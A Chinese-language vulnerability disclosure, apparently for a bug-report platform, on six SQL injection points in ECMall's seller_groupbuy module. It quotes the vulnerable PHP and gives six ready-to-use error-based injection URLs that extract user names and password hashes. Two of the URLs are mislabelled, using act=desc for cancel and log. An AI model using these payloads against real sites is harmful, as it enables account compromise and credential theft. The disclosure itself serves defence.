### 简要描述：
RT
### 详细说明：
搜了下，发现/app/seller_groupbuy.app.php里面还有6处注入：
分别是该文件下drop(),start(),finished(),desc(),cancel(),log()函数中的id参数
以finished()为例：
```
function finished()
{
$id = empty($_GET['id']) ? 0 : $_GET['id'];//id参数未过滤
if (!$id)
{
$this->show_warning('no_such_groupbuy');
return false;
}
if (!$this->_ican($id, ACT)) //进入_ican函数，跟进
{
$this->show_warning('Hacking Attempt');
return;
}
/* 团购信息 */
$group = $this->_groupbuy_mod->get(array(
'conditions' => 'group_id=' . $id,
'fields' => 'group_name',
));
if (!$this->_groupbuy_mod->edit($id, array('state' => GROUP_FINISHED, 'end_time' => gmtime())))
{
$this->show_warning($this->_groupbuy_mod->get_error());
return;
}
$content = get_msg('tobuyer_groupbuy_finished_notify', array('group_name' => $group['group_name'], 'id' => $id));
$this->_groupbuy_mod->sys_notice(
$id,
array('buyer'),
'',
$content,
array('msg')
);
$this->show_message('finished_ok');
}
```
_ican函数代码：
```
function _ican($id, $act = '')
{
$state_permission = array(
GROUP_PENDING => array('start', 'edit', 'drop'),
GROUP_ON => array('cancel', 'desc', 'log', 'finished', 'export_ubbcode'),
GROUP_END => array('cancel', 'desc', 'finished', 'log'),
GROUP_FINISHED => array('drop', 'log', 'view_order'),
GROUP_CANCELED => array('drop', 'log')
);
$group = $this->_groupbuy_mod->get(array(
'join' => 'belong_goods',
'conditions' => 'gb.group_id=' . $id . ' AND g.store_id=' . $this->_store_id,// id参数未过滤直接带入查询
'fields' => 'gb.state',
));
if (!$group)
{
return false; // 越权或没有该团购
}
if (empty($act))
{
return $state_permission[$group['state']]; // 返回该团购此状态时允许的操作
}
return in_array($act, $state_permission[$group['state']]) ? true : false; // 该团购此状态是否允许执行此操作
}
```
### 漏洞证明：
exp1（finished函数）：
```
http://localhost/ecmall/index.php?app=seller_groupbuy&act=finished&id=2%20and%20(select%20user_name%20from%20ecm_member%20where%20user_id=1%20union%20select%201%20from%20(select%20count(*),concat(floor(rand(0)*2),(select%20concat(user_name,password)%20from%20ecm_member%20limit%200,1))a%20from%20information_schema.tables%20group%20by%20a)b)#
```
[<img src="https://images.seebug.org/upload/201406/10182230104f7fd73e0ee32d584abb20be548ebe.jpg" alt="e.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201406/10182230104f7fd73e0ee32d584abb20be548ebe.jpg)
exp2（drop函数）：
```
http://localhost/ecmall/index.php?app=seller_groupbuy&act=drop&id=2%20and%20(select%20user_name%20from%20ecm_member%20where%20user_id=1%20union%20select%201%20from%20(select%20count(*),concat(floor(rand(0)*2),(select%20concat(user_name,password)%20from%20ecm_member%20limit%200,1))a%20from%20information_schema.tables%20group%20by%20a)b)#
```
exp3（srart函数）：
```
http://localhost/ecmall/index.php?app=seller_groupbuy&act=start&id=2%20and%20(select%20user_name%20from%20ecm_member%20where%20user_id=1%20union%20select%201%20from%20(select%20count(*),concat(floor(rand(0)*2),(select%20concat(user_name,password)%20from%20ecm_member%20limit%200,1))a%20from%20information_schema.tables%20group%20by%20a)b)#
```
exp4:（desc函数）：
```
http://localhost/ecmall/index.php?app=seller_groupbuy&act=desc&id=2%20and%20(select%20user_name%20from%20ecm_member%20where%20user_id=1%20union%20select%201%20from%20(select%20count(*),concat(floor(rand(0)*2),(select%20concat(user_name,password)%20from%20ecm_member%20limit%200,1))a%20from%20information_schema.tables%20group%20by%20a)b)#
```
exp5:（cancel函数）：
```
http://localhost/ecmall/index.php?app=seller_groupbuy&act=desc&id=2%20and%20(select%20user_name%20from%20ecm_member%20where%20user_id=1%20union%20select%201%20from%20(select%20count(*),concat(floor(rand(0)*2),(select%20concat(user_name,password)%20from%20ecm_member%20limit%200,1))a%20from%20information_schema.tables%20group%20by%20a)b)#
```
exp6:（log函数）：
```
http://localhost/ecmall/index.php?app=seller_groupbuy&act=desc&id=2%20and%20(select%20user_name%20from%20ecm_member%20where%20user_id=1%20union%20select%201%20from%20(select%20count(*),concat(floor(rand(0)*2),(select%20concat(user_name,password)%20from%20ecm_member%20limit%200,1))a%20from%20information_schema.tables%20group%20by%20a)b)#
```
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